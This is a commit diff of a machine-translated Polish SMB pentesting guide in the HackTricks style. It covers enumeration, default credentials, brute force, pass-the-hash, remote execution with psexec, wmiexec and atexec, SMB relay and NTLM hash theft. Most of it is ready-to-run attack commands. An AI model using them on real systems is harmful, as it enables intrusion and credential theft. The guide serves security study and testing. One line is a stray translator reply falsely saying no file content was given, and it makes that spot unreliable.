Translated ['src/network-services-pentesting/pentesting-smb/README.md',

This commit is contained in:
Translator 2025-09-08 06:20:52 +00:00
parent e155acff91
commit af63f8a362
3 changed files with 323 additions and 97 deletions

View File

@ -494,6 +494,7 @@
- [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md)
- [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md)
- [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb/README.md)
- [Ksmbd Attack Surface And Fuzzing Syzkaller](network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md)
- [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md)
- [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md)
- [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md)

View File

@ -4,61 +4,61 @@
## **Port 139**
_**System Podstawowego Wejścia/Wyjścia Sieci**_** (NetBIOS)** to protokół oprogramowania zaprojektowany w celu umożliwienia aplikacjom, komputerom PC i stacjom roboczym w lokalnej sieci (LAN) interakcji z sprzętem sieciowym i **ułatwienia transmisji danych w sieci**. Identyfikacja i lokalizacja aplikacji programowych działających w sieci NetBIOS odbywa się za pomocą ich nazw NetBIOS, które mogą mieć do 16 znaków długości i często różnią się od nazwy komputera. Sesja NetBIOS między dwiema aplikacjami jest inicjowana, gdy jedna aplikacja (działająca jako klient) wydaje polecenie "wywołania" innej aplikacji (działającej jako serwer) przy użyciu **TCP Port 139**.
The _**Network Basic Input Output System**_** (NetBIOS)** to protokół programowy zaprojektowany, aby umożliwić aplikacjom, komputerom PC i stacjom roboczym w lokalnej sieci komputerowej (LAN) interakcję ze sprzętem sieciowym oraz **ułatwić przesyłanie danych w sieci**. Identyfikacja i lokalizacja aplikacji działających w sieci NetBIOS odbywa się za pomocą ich NetBIOS names, które mogą mieć do 16 znaków i często różnią się od nazwy komputera. Sesja NetBIOS między dwiema aplikacjami jest inicjowana, gdy jedna aplikacja (pełniąca rolę klienta) wydaje polecenie "call" do innej aplikacji (pełniącej rolę serwera), korzystając z **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Technicznie, port 139 jest określany jako NBT over IP, podczas gdy port 445 jest identyfikowany jako SMB over IP. Akronim **SMB** oznacza **Server Message Blocks**, który jest również współcześnie znany jako **Common Internet File System (CIFS)**. Jako protokół sieciowy na poziomie aplikacji, SMB/CIFS jest głównie wykorzystywany do umożliwienia wspólnego dostępu do plików, drukarek, portów szeregowych oraz ułatwienia różnych form komunikacji między węzłami w sieci.
Technicznie rzecz biorąc, Port 139 nazywany jest NBT over IP, natomiast Port 445 określany jest jako SMB over IP. Skrót **SMB** oznacza **Server Message Blocks**, który jest współcześnie znany również jako **Common Internet File System (CIFS)**. Jako protokół sieciowy warstwy aplikacji, SMB/CIFS jest wykorzystywany głównie do umożliwienia współdzielonego dostępu do plików, drukarek, portów szeregowych oraz do ułatwiania różnych form komunikacji między węzłami w sieci.
Na przykład, w kontekście systemu Windows, podkreśla się, że SMB może działać bezpośrednio przez TCP/IP, eliminując konieczność korzystania z NetBIOS przez TCP/IP, poprzez wykorzystanie portu 445. Z drugiej strony, w różnych systemach obserwuje się użycie portu 139, co wskazuje, że SMB jest wykonywane w połączeniu z NetBIOS przez TCP/IP.
Na przykład, w kontekście Windows podkreśla się, że SMB może działać bezpośrednio nad TCP/IP, eliminując konieczność korzystania z NetBIOS over TCP/IP poprzez wykorzystanie portu 445. Natomiast w innych systemach obserwuje się użycie portu 139, co wskazuje, że SMB jest uruchamiany w połączeniu z NetBIOS over TCP/IP.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
Protokół **Server Message Block (SMB)**, działający w modelu **klient-serwer**, jest zaprojektowany do regulowania **dostępu do plików**, katalogów i innych zasobów sieciowych, takich jak drukarki i routery. Głównie wykorzystywany w serii systemów operacyjnych **Windows**, SMB zapewnia zgodność wsteczną, umożliwiając urządzeniom z nowszymi wersjami systemu operacyjnego Microsoftu bezproblemową interakcję z tymi działającymi na starszych wersjach. Dodatkowo, projekt **Samba** oferuje rozwiązanie typu open source, umożliwiające implementację SMB na systemach **Linux** i Unix, co ułatwia komunikację międzyplatformową za pomocą SMB.
The **Server Message Block (SMB)** protocol, operating in a **klient-serwer** model, is designed for regulating **dostęp do plików**, directories, and other network resources like printers and routers. Primarily utilized within the **Windows** operating system series, SMB ensures backward compatibility, allowing devices with newer versions of Microsoft's operating system to seamlessly interact with those running older versions. Additionally, the **Samba** project offers a free software solution, enabling SMB's implementation on **Linux** and Unix systems, thereby facilitating cross-platform communication through SMB.
Udostępniane przez serwer SMB udziały, reprezentujące **dowolne części lokalnego systemu plików**, mogą sprawić, że hierarchia będzie widoczna dla klienta częściowo **niezależnie** od rzeczywistej struktury serwera. **Listy Kontroli Dostępu (ACL)**, które definiują **prawa dostępu**, pozwalają na **dokładną kontrolę** nad uprawnieniami użytkowników, w tym atrybutami takimi jak **`wykonaj`**, **`odczytaj`** i **`pełny dostęp`**. Te uprawnienia mogą być przypisane do poszczególnych użytkowników lub grup, w zależności od udziałów, i są odrębne od lokalnych uprawnień ustawionych na serwerze.
Udostępnienia, reprezentujące **dowolne części lokalnego systemu plików**, mogą być dostarczone przez serwer SMB, czyniąc hierarchię widoczną dla klienta częściowo **niezależną** od faktycznej struktury serwera. The **Access Control Lists (ACLs)**, które definiują **prawa dostępu**, pozwalają na **precyzyjną kontrolę** nad uprawnieniami użytkowników, w tym atrybutami takimi jak **`execute`**, **`read`** i **`full access`**. Te uprawnienia mogą być przypisywane pojedynczym użytkownikom lub grupom, w zależności od udostępnień, i są odrębne od lokalnych uprawnień ustawionych na serwerze.
### IPC$ Share
Dostęp do udziału IPC$ można uzyskać poprzez anonimową sesję null, co pozwala na interakcję z usługami udostępnionymi za pośrednictwem nazwanych rur. Narzędzie `enum4linux` jest przydatne w tym celu. Właściwie wykorzystane, umożliwia pozyskanie:
Dostęp do udostępnienia IPC$ można uzyskać poprzez anonimową null session, co umożliwia interakcję z usługami wystawionymi przez named pipes. Narzędzie `enum4linux` jest przydatne do tego celu. Prawidłowo użyte umożliwia pozyskanie:
- Informacji o systemie operacyjnym
- Szczegółów dotyczących domeny nadrzędnej
- Zestawienia lokalnych użytkowników i grup
- Informacji o dostępnych udziałach SMB
- Skutecznej polityki bezpieczeństwa systemu
- Szczegółów o domenie nadrzędnej
- Listy lokalnych użytkowników i grup
- Informacji o dostępnych udostępnieniach SMB
- Obowiązującej polityki bezpieczeństwa systemu
Funkcjonalność ta jest kluczowa dla administratorów sieci i specjalistów ds. bezpieczeństwa w ocenie stanu bezpieczeństwa usług SMB (Server Message Block) w sieci. `enum4linux` zapewnia kompleksowy widok środowiska SMB docelowego systemu, co jest niezbędne do identyfikacji potencjalnych luk w zabezpieczeniach i zapewnienia, że usługi SMB są odpowiednio zabezpieczone.
Ta funkcjonalność jest kluczowa dla administratorów sieci i specjalistów ds. bezpieczeństwa, aby ocenić postawę bezpieczeństwa usług SMB (Server Message Block) w sieci. `enum4linux` dostarcza kompleksowego obrazu środowiska SMB docelowego systemu, co jest niezbędne do identyfikowania potencjalnych podatności i zapewnienia, że usługi SMB są odpowiednio zabezpieczone.
```bash
enum4linux -a target_ip
```
Powyższe polecenie jest przykładem, jak `enum4linux` może być używane do przeprowadzenia pełnej enumeracji przeciwko docelowemu adresowi określonemu przez `target_ip`.
Powyższe polecenie jest przykładem, jak można użyć `enum4linux` do przeprowadzenia pełnej enumeracji celu określonego jako `target_ip`.
## Czym jest NTLM
Jeśli nie wiesz, czym jest NTLM lub chcesz wiedzieć, jak to działa i jak to wykorzystać, ta strona o **NTLM** będzie dla Ciebie bardzo interesująca, ponieważ wyjaśnia **jak działa ten protokół i jak możesz go wykorzystać:**
Jeśli nie wiesz, czym jest NTLM lub chcesz zrozumieć, jak działa i jak można to wykorzystać, bardzo interesująca będzie ta strona o **NTLM**, na której wyjaśniono **jak ten protokół działa i jak możesz go wykorzystać:**
{{#ref}}
../../windows-hardening/ntlm/
{{#endref}}
## **Enumeracja serwera**
## **Enumeracja serwerów**
### **Skanuj** sieć w poszukiwaniu hostów:
### **Scan** sieci w poszukiwaniu hostów:
```bash
nbtscan -r 192.168.0.1/24
```
### Wersja serwera SMB
Aby szukać możliwych exploitów dla wersji SMB, ważne jest, aby wiedzieć, która wersja jest używana. Jeśli ta informacja nie pojawia się w innych używanych narzędziach, możesz:
Aby szukać możliwych exploits dla wersji SMB, ważne jest, aby wiedzieć, która wersja jest używana. Jeśli ta informacja nie pojawia się w innych używanych narzędziach, możesz:
- Użyć modułu pomocniczego **MSF** `**auxiliary/scanner/smb/smb_version**`
- Lub tego skryptu:
- Użyj modułu pomocniczego **MSF** `**auxiliary/scanner/smb/smb_version**`
- Lub ten skrypt:
```bash
#!/bin/sh
#Author: rewardone
@ -80,25 +80,25 @@ echo "" && sleep .1
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **Możliwe** Poświadczenia
### **Możliwe** dane uwierzytelniające
| **Nazwa użytkownika** | **Typowe hasła** |
| --------------------- | ----------------------------------------- |
| **Nazwa(y) użytkownika** | **Typowe hasła** |
| -------------------- | ----------------------------------------- |
| _(puste)_ | _(puste)_ |
| gość | _(puste)_ |
| Administrator, admin | _(puste)_, hasło, administrator, admin |
| guest | _(puste)_ |
| Administrator, admin | _(puste)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | hasło, test, lab, demo |
| test, lab, demo | password, test, lab, demo |
### Atak Brute Force
### Brute Force
- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb)
### Informacje o Środowisku SMB
### Informacje o środowisku SMB
### Uzyskaj Informacje
### Uzyskanie informacji
```bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
@ -120,9 +120,9 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Enumeracja użytkowników, grup i zalogowanych użytkowników
### Wylistuj użytkowników, grupy & zalogowanych użytkowników
Te informacje powinny być już zbierane z enum4linux i enum4linux-ng
Te informacje powinny być już zebrane przez enum4linux i enum4linux-ng
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@ -134,44 +134,44 @@ rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
### Enumeracja lokalnych użytkowników
### Wypisz lokalnych użytkowników
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
lookupsid.py -no-pass hostname.local
```
Oneliner
Jednolinijkowiec
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
### Metasploit - Enumeracja lokalnych użytkowników
### Metasploit - Enumeracja użytkowników lokalnych
```bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
### **Enumerowanie LSARPC i SAMR rpcclient**
### **Enumerating LSARPC and SAMR rpcclient**
{{#ref}}
rpcclient-enumeration.md
{{#endref}}
### Połączenie GUI z linuxa
### GUI — połączenie z Linuxem
#### W terminalu:
`xdg-open smb://cascade.htb/`
#### W oknie przeglądarki plików (nautilus, thunar, itp.)
#### W oknie przeglądarki plików (nautilus, thunar, etc)
`smb://friendzone.htb/general/`
## Enumeracja folderów udostępnionych
## Enumeracja udostępnionych folderów
### Lista folderów udostępnionych
### Lista udostępnionych folderów
Zawsze zaleca się sprawdzenie, czy można uzyskać dostęp do czegokolwiek, jeśli nie masz poświadczeń, spróbuj użyć **null** **poświadczeń/użytkownika gościa**.
Zawsze zaleca się sprawdzić, czy możesz uzyskać dostęp do jakichkolwiek zasobów; jeśli nie masz poświadczeń, spróbuj użyć **null** **credentials/guest user**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -185,7 +185,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
### **Połącz/Wypisz udostępniony folder**
### **Połącz/Wyświetl folder udostępniony**
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
@ -197,11 +197,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Ręczne enumerowanie udziałów systemu Windows i łączenie się z nimi**
### **Ręcznie wylicz udziały Windows i połącz się z nimi**
Możliwe, że masz ograniczenia w wyświetlaniu jakichkolwiek udziałów maszyny hosta i gdy próbujesz je wylistować, wydaje się, że nie ma żadnych udziałów do połączenia. Dlatego warto spróbować ręcznie połączyć się z udziałem. Aby ręcznie enumerować udziały, warto zwrócić uwagę na odpowiedzi takie jak NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME, podczas korzystania z ważnej sesji (np. sesji null lub ważnych poświadczeń). Mogą one wskazywać, czy udział istnieje i nie masz do niego dostępu, czy też udział w ogóle nie istnieje.
Może się zdarzyć, że masz ograniczenie w wyświetlaniu udziałów hosta i gdy próbujesz je wypisać, wygląda to tak, jakby nie było żadnych udziałów do połączenia. Warto więc spróbować ręcznie połączyć się z udziałem. Aby ręcznie wyenumerować udziały, warto zwrócić uwagę na odpowiedzi takie jak NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME, gdy używasz ważnej sesji (np. null session lub valid credentials). Mogą one wskazywać, czy udział istnieje i nie masz do niego dostępu, albo udział w ogóle nie istnieje.
Typowe nazwy udziałów dla celów Windows to
Common share names for windows targets are
- C$
- D$
@ -212,14 +212,14 @@ Typowe nazwy udziałów dla celów Windows to
- SYSVOL
- NETLOGON
(Typowe nazwy udziałów z _**Network Security Assessment 3rd edition**_)
(Common share names from _**Network Security Assessment 3rd edition**_)
Możesz spróbować połączyć się z nimi, używając następującego polecenia
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
lub ten skrypt (używając sesji null)
lub ten skrypt (używając null session)
```bash
#/bin/bash
@ -236,12 +236,12 @@ echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD
fi
done
```
przykłady
Nie mam treści pliku. Proszę wklej zawartość src/network-services-pentesting/pentesting-smb/README.md (lub fragmenty, które chcesz przetłumaczyć). Przetłumaczę na polski, zachowując dokładnie markdown/HTML oraz nie tłumacząc kodu, tagów, linków i ścieżek.
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Enumeruj udostępnienia z Windows / bez narzędzi firm trzecich**
### **Wyliczanie udostępnień w Windows / bez narzędzi firm trzecich**
PowerShell
```bash
@ -267,7 +267,7 @@ fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (graficzny), wprowadź `\\<ip>\`, aby zobaczyć dostępne nieukryte udostępnienia.
explorer.exe (graficzny), wpisz `\\<ip>\`, aby zobaczyć dostępne nieukryte udziały.
### Zamontuj udostępniony folder
```bash
@ -276,7 +276,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Pobierz pliki**
Przeczytaj poprzednie sekcje, aby dowiedzieć się, jak połączyć się z użyciem poświadczeń/Pass-the-Hash.
Przeczytaj poprzednie sekcje, aby dowiedzieć się, jak połączyć się przy użyciu credentials/Pass-the-Hash.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -291,36 +291,36 @@ smbclient //<IP>/<share>
> mget *
#Download everything to current directory
```
Polecenia:
Commands:
- mask: określa maskę, która jest używana do filtrowania plików w katalogu (np. "" dla wszystkich plików)
- recurse: włącza rekurencję (domyślnie: wyłączona)
- prompt: wyłącza pytanie o nazwy plików (domyślnie: włączone)
- mget: kopiuje wszystkie pliki pasujące do maski z hosta na maszynę kliencką
- recurse: włącza rekurencję (domyślnie: off)
- prompt: wyłącza proszenie o nazwy plików (domyślnie: on)
- mget: kopiuje wszystkie pliki pasujące do maski z hosta na maszynę klienta
(_Informacje z podręcznika smbclient_)
(_Informacje z manpage smbclient_)
### Wyszukiwanie folderów udostępnionych w domenie
### Wyszukiwanie udostępnionych folderów w domenie
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) pająk.
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
- `-M spider_plus [--share <share_name>]`
- `--pattern txt`
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Szczególnie interesujące z udziałów są pliki nazwane **`Registry.xml`**, ponieważ **mogą zawierać hasła** dla użytkowników skonfigurowanych z **autologowaniem** za pomocą zasad grupy. Lub pliki **`web.config`**, ponieważ zawierają dane uwierzytelniające.
Szczególnie interesujące w udostępnieniach są pliki o nazwie **`Registry.xml`**, ponieważ **mogą zawierać hasła** dla użytkowników skonfigurowanych z **autologon** za pomocą Group Policy. Również pliki **`web.config`** mogą zawierać poświadczenia.
> [!TIP]
> Udział **SYSVOL** jest **czytelny** dla wszystkich uwierzytelnionych użytkowników w domenie. Możesz tam **znaleźć** wiele różnych skryptów wsadowych, VBScript i PowerShell.\
> Powinieneś **sprawdzić** skrypty w środku, ponieważ możesz **znaleźć** wrażliwe informacje, takie jak **hasła**.
> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
> You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
## Odczyt rejestru
Możesz być w stanie **odczytać rejestr** używając niektórych odkrytych danych uwierzytelniających. Impacket **`reg.py`** pozwala spróbować:
Możesz być w stanie **odczytać rejestr** za pomocą odkrytych poświadczeń. Impacket **`reg.py`** pozwala spróbować:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -328,26 +328,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
```
## Post Exploitation
Domyślna konfiguracja serwera **Samba** zazwyczaj znajduje się w `/etc/samba/smb.conf` i może zawierać niektóre **niebezpieczne konfiguracje**:
Domyślna konfiguracja serwera **Samba** zwykle znajduje się w `/etc/samba/smb.conf` i może zawierać niektóre **niebezpieczne ustawienia**:
| **Ustawienie** | **Opis** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Czy zezwolić na wyświetlanie dostępnych udziałów w bieżącym udziale? |
| `read only = no` | Czy zabronić tworzenia i modyfikacji plików? |
| `writable = yes` | Czy zezwolić użytkownikom na tworzenie i modyfikowanie plików? |
| `guest ok = yes` | Czy zezwolić na łączenie się z usługą bez użycia hasła? |
| `enable privileges = yes` | Czy honorować uprawnienia przypisane do konkretnego SID? |
| `create mask = 0777` | Jakie uprawnienia muszą być przypisane do nowo utworzonych plików? |
| `directory mask = 0777` | Jakie uprawnienia muszą być przypisane do nowo utworzonych katalogów? |
| `logon script = script.sh` | Jaki skrypt musi być wykonany przy logowaniu użytkownika? |
| `magic script = script.sh` | Który skrypt powinien być wykonany, gdy skrypt zostanie zamknięty? |
| `magic output = script.out` | Gdzie musi być przechowywany wynik magicznego skryptu? |
| `browseable = yes` | Pozwala na wyświetlanie dostępnych udziałów w bieżącym udziale? |
| `read only = no` | Zabrania tworzenia i modyfikacji plików? |
| `writable = yes` | Pozwala użytkownikom tworzyć i modyfikować pliki? |
| `guest ok = yes` | Pozwala łączyć się z usługą bez użycia hasła? |
| `enable privileges = yes` | Respektować uprawnienia przypisane określonemu SID? |
| `create mask = 0777` | Jakie uprawnienia mają być nadane nowo utworzonym plikom? |
| `directory mask = 0777` | Jakie uprawnienia mają być nadane nowo utworzonym katalogom? |
| `logon script = script.sh` | Jaki skrypt musi być uruchomiony przy logowaniu użytkownika? |
| `magic script = script.sh` | Jaki skrypt powinien być uruchomiony, gdy skrypt zostanie zamknięty?|
| `magic output = script.out` | Gdzie należy zapisać wyjście magic script? |
Polecenie `smbstatus` podaje informacje o **serwerze** i o **tym, kto jest połączony**.
Polecenie `smbstatus` dostarcza informacji o **serwerze** i o tym, **kto jest połączony**.
## Authenticate using Kerberos
## Uwierzytelnianie przy użyciu Kerberos
Możesz **uwierzytelnić** się w **kerberosie** za pomocą narzędzi **smbclient** i **rpcclient**:
Możesz się **uwierzytelnić** w **Kerberos** za pomocą narzędzi **smbclient** i **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
@ -356,7 +356,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec**
crackmapexec może wykonywać polecenia **wykorzystując** dowolną z **mmcexec, smbexec, atexec, wmiexec**, przy czym **wmiexec** jest **domyślną** metodą. Możesz wskazać, którą opcję wolisz użyć za pomocą parametru `--exec-method`:
crackmapexec może wykonywać polecenia, wykorzystując dowolną z metod **mmcexec, smbexec, atexec, wmiexec**, przy czym **wmiexec** jest metodą **domyślną**. Możesz wskazać, której opcji chcesz użyć za pomocą parametru `--exec-method`:
```bash
apt-get install crackmapexec
@ -380,7 +380,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
Obie opcje **tworzą nową usługę** (używając _\pipe\svcctl_ przez SMB) na maszynie ofiary i wykorzystują ją do **wykonania czegoś** (**psexec** **prześle** plik wykonywalny do udziału ADMIN$ a **smbexec** wskaże na **cmd.exe/powershell.exe** i w argumentach umieści ładunek --**technika bezplikowa-**-).\
Obie opcje **utworzą nową usługę** (używając _\pipe\svcctl_ przez SMB) na maszynie ofiary i użyją jej do **wykonania czegoś** (**psexec** **prześle** plik wykonywalny do udziału ADMIN$ a **smbexec** będzie wskazywać na **cmd.exe/powershell.exe** i umieści w argumentach payload --**file-less technique-**-).\
**Więcej informacji** o [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)i [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
```bash
@ -390,11 +390,11 @@ W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
Używając **parametru** `-k`, możesz uwierzytelnić się za pomocą **kerberos** zamiast **NTLM**.
Używając **parametru**`-k` możesz uwierzytelnić się przy użyciu **kerberos** zamiast **NTLM**
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
Cicho wykonaj powłokę poleceń bez dotykania dysku lub uruchamiania nowej usługi za pomocą DCOM przez **port 135.**\
Pozwala dyskretnie uruchomić powłokę poleceń bez zapisu na dysku ani uruchamiania nowej usługi, używając DCOM przez **port 135.**\
W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -402,7 +402,7 @@ W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
Używając **parametru** `-k`, możesz uwierzytelnić się za pomocą **kerberos** zamiast **NTLM**.
Używając **parametru**`-k` możesz uwierzytelniać się przy użyciu **kerberos** zamiast **NTLM**
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -411,54 +411,60 @@ Używając **parametru** `-k`, możesz uwierzytelnić się za pomocą **kerberos
```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
Wykonaj polecenia za pomocą Harmonogramu zadań (używając _\pipe\atsvc_ przez SMB).\
Wykonywanie poleceń za pomocą Task Scheduler (używając _\pipe\atsvc_ przez SMB).\
W **kali** znajduje się w /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
```
## Impacket reference
## Odnośnik do Impacket
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **Bruteforce użytkowników poświadczeń**
### Powierzchnia ataku ksmbd i SMB2/SMB3 protocol fuzzing (syzkaller)
**To nie jest zalecane, możesz zablokować konto, jeśli przekroczysz maksymalną dozwoloną liczbę prób**
{{#ref}}
ksmbd-attack-surface-and-fuzzing-syzkaller.md
{{#endref}}
## **Bruteforce users credentials**
**Nie zaleca się tego — możesz zablokować konto, jeśli przekroczysz maksymalną dozwoloną liczbę prób**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## Atak relay SMB
## SMB relay attack
Ten atak wykorzystuje zestaw narzędzi Responder do **przechwytywania sesji uwierzytelniania SMB** w wewnętrznej sieci i **przekazywania** ich do **docelowej maszyny**. Jeśli **sesja uwierzytelniania zakończy się sukcesem**, automatycznie przejdziesz do **powłoki** **systemowej**.\
[**Więcej informacji na temat tego ataku tutaj.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Ten atak używa Responder toolkit, aby **capture SMB authentication sessions** w sieci wewnętrznej i **relays** je do **target machine**. Jeśli uwierzytelnienie **session is successful**, automatycznie przeniesie cię do **system** **shell**.\
[**Więcej informacji o tym ataku tutaj.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Biblioteka Windows URLMon.dll automatycznie próbuje uwierzytelnić się do hosta, gdy strona próbuje uzyskać dostęp do jakiejś treści za pośrednictwem SMB, na przykład: `img src="\\10.10.10.10\path\image.jpg"`
Biblioteka Windows URLMon.dll automatycznie próbuje uwierzytelnić się do hosta, gdy strona próbuje uzyskać dostęp do zawartości przez SMB, na przykład: `img src="\\10.10.10.10\path\image.jpg"`
Dzieje się to w przypadku funkcji:
To dzieje się przy użyciu funkcji:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
Które są używane przez niektóre przeglądarki i narzędzia (takie jak Skype)
Które są używane przez niektóre przeglądarki i narzędzia (np. Skype)
![Z: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
### SMBTrap używając MitMf
### SMBTrap using MitMf
![Z: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
## Kradzież NTLM
## NTLM Theft
Podobnie jak w przypadku pułapki SMB, umieszczanie złośliwych plików na docelowym systemie (za pośrednictwem SMB, na przykład) może wywołać próbę uwierzytelnienia SMB, co pozwala na przechwycenie hasha NetNTLMv2 za pomocą narzędzia takiego jak Responder. Hash można następnie złamać offline lub użyć w [ataku relay SMB](#smb-relay-attack).
Podobnie jak SMB Trapping, podłożenie złośliwych plików na target system (np. przez SMB) może wywołać SMB authentication attempt, co pozwala na przechwycenie NetNTLMv2 hash za pomocą narzędzia takiego jak Responder. Hash może być następnie cracked offline lub użyty w [SMB relay attack](#smb-relay-attack).
[Zobacz: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## Automatyczne polecenia HackTricks
## HackTricks Automatic Commands
```
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.

View File

@ -0,0 +1,219 @@
# ksmbd Attack Surface & SMB2/SMB3 Protocol Fuzzing (syzkaller)
{{#include ../../banners/hacktricks-training.md}}
